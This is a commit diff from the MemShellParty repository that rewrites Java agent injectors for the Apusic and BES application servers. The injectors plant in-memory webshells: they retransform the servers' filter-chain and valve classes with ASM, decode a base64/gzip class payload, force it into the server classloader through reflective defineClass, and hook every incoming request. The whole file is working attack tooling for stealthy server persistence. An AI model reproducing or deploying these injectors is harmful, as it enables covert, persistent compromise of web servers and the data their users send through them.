mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: use ASM Agent by default
This commit is contained in:
+223
@@ -0,0 +1,223 @@
|
||||
package com.reajason.javaweb.memshell.injector.apusic;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
|
||||
private static final String TARGET_METHOD_NAME = "performFilter";
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
+197
-38
@@ -1,39 +1,28 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
|
||||
public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,21 +33,191 @@ public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.bes.enterprise.webtier.core.DefaultContextValve"))
|
||||
.transform(new BesContextValveAgentInjector())
|
||||
.installOn(inst);
|
||||
inst.addTransformer(new BesContextValveAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||
} else {
|
||||
mv.visitLdcInsn(new Integer(value));
|
||||
}
|
||||
}
|
||||
|
||||
private int getArgIndex(final int arg) {
|
||||
int index = 1;
|
||||
for (int i = 0; i < arg; i++) {
|
||||
index += argumentTypes[i].getSize();
|
||||
}
|
||||
return index;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
} finally {
|
||||
try {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void defineTargetClass(ClassLoader loader) {
|
||||
try {
|
||||
loader.loadClass(getClassName());
|
||||
return;
|
||||
} catch (ClassNotFoundException ignored) {
|
||||
}
|
||||
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||
try {
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
-97
@@ -1,97 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
|
||||
private static final String TARGET_METHOD_NAME = "invoke";
|
||||
|
||||
static Constructor<?> constructor = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(getClassName());
|
||||
constructor = clazz.getConstructors()[0];
|
||||
constructor.setAccessible(true);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public BesContextValveAgentWithAsmInjector() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
}
|
||||
}
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||
}
|
||||
}
|
||||
+198
-39
@@ -1,39 +1,28 @@
|
||||
package com.reajason.javaweb.memshell.injector.bes;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
import org.objectweb.asm.*;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.instrument.ClassFileTransformer;
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
* @since 2025/3/26
|
||||
*/
|
||||
public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
|
||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
||||
public static String getBase64String() {
|
||||
return "{{base64String}}";
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
@@ -44,21 +33,191 @@ public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain"))
|
||||
.transform(new BesFilterChainAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
inst.addTransformer(new BesFilterChainAgentInjector(), true);
|
||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||
if (TARGET_CLASS.equals(className)) {
|
||||
defineTargetClass(loader);
|
||||
try {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||
@Override
|
||||
protected ClassLoader getClassLoader() {
|
||||
return loader;
|
||||
}
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||
@Override
|
||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||
private final Type[] argumentTypes;
|
||||
private final String className;
|
||||
|
||||
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argumentTypes = argTypes;
|
||||
this.className = className;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
loadArgArray();
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
Label ifConditionFalse = new Label();
|
||||
Label skipCatchBlock = new Label();
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||
|
||||
mv.visitLabel(tryStart);
|
||||
String internalClassName = className.replace('.', '/');
|
||||
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||
mv.visitInsn(Opcodes.SWAP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||
"java/lang/Object",
|
||||
"equals",
|
||||
"(Ljava/lang/Object;)Z",
|
||||
false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||
mv.visitInsn(Opcodes.RETURN);
|
||||
mv.visitLabel(ifConditionFalse);
|
||||
mv.visitLabel(tryEnd);
|
||||
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||
mv.visitLabel(catchHandler);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
mv.visitLabel(skipCatchBlock);
|
||||
}
|
||||
|
||||
public void loadArgArray() {
|
||||
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
for (int i = 0; i < argumentTypes.length; i++) {
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
push(i);
|
||||
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void push(final int value) {
|
||||
if (value >= -1 && value <= 5) {
|
||||
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||
